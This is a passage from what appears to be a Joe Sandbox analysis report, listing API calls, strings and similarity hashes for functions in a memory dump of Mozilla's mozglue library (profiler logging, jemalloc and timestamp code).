_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[I %d/%d] profiler_resume, xrefs: 6C5EF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction ID: 03265f08b4a00b757ebf81af91c979ad22f8070b296c73ce3a419070fe799b41
Opcode Fuzzy Hash: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction Fuzzy Hash: 96F054B6600214DBDB106F66DC8899A77BDFFCA2ADF100415EA4683702DB795C05CB79

Function 6C5B0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5B0DF8), ref: 6C5B0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5B0EA1
__Init_thread_footer.LIBCMT ref: 6C5B0EB5
FreeLibrary.KERNEL32 ref: 6C5B0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C5B0E9B
kernel32.dll, xrefs: 6C5B0E7D

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction ID: 1338323c2aa967b18e730aef20f6ff9aa4f5ce6327b88b9390b08b796e755f94
Opcode Fuzzy Hash: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction Fuzzy Hash: 99012CB0700391CBDB009FAAEAE4B523BB5E786715F100526ED81A2B40D778F4058E0F

Function 6C5EF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction ID: b5152233cb28f46531ffb5a9e07f26628ce8b2b510106d1e6375e3429f58e837
Opcode Fuzzy Hash: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction Fuzzy Hash: 5DF054B5200214EBDB006F66DC8899A777DFFCA2ADF100415EA4683742CB7D5C068B79

Function 6C5E05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E0627

Strings

<jemalloc>, xrefs: 6C5E05FA, 6C5E060F
: (malloc) Error in VirtualFree(), xrefs: 6C5E061B, 6C5E0625

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction ID: c4a98a956f55f95e307f566df6d2a84d968cb2cab198701521c56181794086b4
Opcode Fuzzy Hash: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction Fuzzy Hash: 89E08CE2A0505037F614625AAC86DBB761CDBC6134F080039FE0E83701E94AAD1A91FA

Function 6C5B05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction ID: 71b87c169bac8725c5fed277119e8e624a08bb25e853a94f434066c43cba1a7e
Opcode Fuzzy Hash: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction Fuzzy Hash: 95A139B0A00745CFDB14CF29CA94A9AFBF1BF89304F54866ED44AA7B00E735A945CF90

Function 6C6014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6014E2
GetCurrentThreadId.KERNEL32 ref: 6C601546
InitializeConditionVariable.KERNEL32(?), ref: 6C6015BA
free.MOZGLUE(?), ref: 6C6016B4

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction ID: 3b85694a2f6a8376f6868fcd50267b928d270214ee3f971a7a68f408e6e03eb1
Opcode Fuzzy Hash: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction Fuzzy Hash: BF610F71A00710DBCB268F25CD80BDAB7B0BF8A308F44851CED8A67701DB35E949CB96

Function 6C5F9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F9FDB
free.MOZGLUE(?,?), ref: 6C5F9FF0
free.MOZGLUE(?,?), ref: 6C5FA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5FA0BE
free.MOZGLUE(?,?), ref: 6C5FA0D5
free.MOZGLUE(?,?), ref: 6C5FA0EB

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction ID: 74aece96fda5623bc8688944c29c6a797c44acc8eec3979e0743e9e3e39b448e
Opcode Fuzzy Hash: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction Fuzzy Hash: 18617E755086419FC715CF58C88059AB3F5FFC8328F54865DE8A99B602EB32E986CFC2

Function 6C5FDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5FD38A,?), ref: 6C5FDC6F
free.MOZGLUE(?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5FD38A,?), ref: 6C5FDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5FD38A,?), ref: 6C5FDD4A

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction ID: 2d63cb209887d0d031ff30217980f1014a49cbd843916cfc64a0fb1d48de12b9
Opcode Fuzzy Hash: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction Fuzzy Hash: 64417CB5A00205CFCB04CF99C880A9AB7F5FF88314B654569D956ABB10D731FC01CFA0

Function 6C5FC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5FC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5FC842

Part of subcall function 6C5FCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C61B5EB,00000000), ref: 6C5FCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5FC863
std::_Facet_Register.LIBCPMT ref: 6C5FC875

Part of subcall function 6C5DB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C61B636,?), ref: 6C5DB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5FC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FC8BC

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction ID: 638bb263159ba921fc3deb8abe963efe96c466e93e2d62a016edb220d9f0fc37
Opcode Fuzzy Hash: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction Fuzzy Hash: 12118171B002099BCB04EFA6CCC48EE7BB5EF89354F040529E51697340DB34A909CB99

Function 6C5DF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5DF480

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

CloseHandle.KERNEL32(00000000), ref: 6C5DF555

Part of subcall function 6C5B14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B1248,6C5B1248,?), ref: 6C5B14C9
Part of subcall function 6C5B14B0: memcpy.VCRUNTIME140(?,6C5B1248,00000000,?,6C5B1248,?), ref: 6C5B14EF

Part of subcall function 6C5AEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5AEEE3

CreateFileW.KERNEL32 ref: 6C5DF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5DF523

Strings

\oleacc.dll, xrefs: 6C5DF4CB

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction ID: 2134da9321acfbda9a6b5df98b8c6eeec316a76fa6e4674f37b20f2ee9753eb0
Opcode Fuzzy Hash: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction Fuzzy Hash: EA41BA30618710DFE720DF69CC84A9BB7F4AF84318F100B1CE59193650EB34E94A8B9A

Function 6C5EE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE04F

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5EE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C5EE057

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction ID: 311f705e782029e37bc71f3de8ce26da2f858949bb1ab0098b31701e244e8fef
Opcode Fuzzy Hash: 3889d9ac6fe62c4f8d4629fb3281aa20b168db69dad23bf27843bcca977ee066
Instruction Fuzzy Hash: D1218EB4B002189FDF04DF65DC98AEEB7B5AF89208F144428E90A97740DB75AD09CBE5

Function 6C6074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C607526
__Init_thread_footer.LIBCMT ref: 6C607566
__Init_thread_footer.LIBCMT ref: 6C607597

Strings

kernel32.dll, xrefs: 6C607557
UnmapViewOfFile2, xrefs: 6C607552

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction ID: abee23426f78951740b87518bf1671cb3da709acbfaca3211ca65716baa6f17a
Opcode Fuzzy Hash: 12ed108610144c713255777905cc7c91f160965193f830e781cbc563a19931d7
Instruction Fuzzy Hash: 6421253170061097DB188FAAAA84EDA3375EB86325F010528D84567F80DB39A8028E9F

Function 6C60A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770,-00000001,?,6C61E330,?,6C5CBDF7), ref: 6C60A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C5CBDF7), ref: 6C60A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C5CBDF7), ref: 6C60A7E4
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A80A

Strings

accelerator.dll, xrefs: 6C60A7BF

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction ID: 5cef88f43186b395a0e474526579395594c13a309dd8d023756b0032bba4bb40
Opcode Fuzzy Hash: cdb58ca39de3d592bd9fc4ffecf53a1ecff831d445689c46a380282290a3723f
Instruction Fuzzy Hash: D301A2707103149FDB08CF5AE8C4D5177B8FB8A395B04806AE94A9B712DB70AC00CFA9

Function 6C6075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60748B,?), ref: 6C6075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6075D7
FreeLibrary.KERNEL32(?,6C60748B,?), ref: 6C6075EC

Strings

RtlNtStatusToDosError, xrefs: 6C6075D1
ntdll.dll, xrefs: 6C6075B3

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction ID: c8448132604f243b271b620274f46711ab7fba1cf273f0736a59eaadb12b623c
Opcode Fuzzy Hash: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction Fuzzy Hash: 61E0BF71740316ABEF015FA3D9C8B917AF8EB46354F104025AA85D1610DBBC8042CF1E

Function 6C607600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C607592), ref: 6C607608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C607627
FreeLibrary.KERNEL32(?,6C607592), ref: 6C60763C

Strings

NtUnmapViewOfSection, xrefs: 6C607621
ntdll.dll, xrefs: 6C607603

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction ID: 76eaabeebaae48c1bf1af0d1b26e7578d3a3296fe20e66457df4eaae0a4f987c
Opcode Fuzzy Hash: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction Fuzzy Hash: 0CE0BF707113159BDF005FA7ED987517AB8F756399F004115EA86D1B10D7BD80018F1D

Function 6C60BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

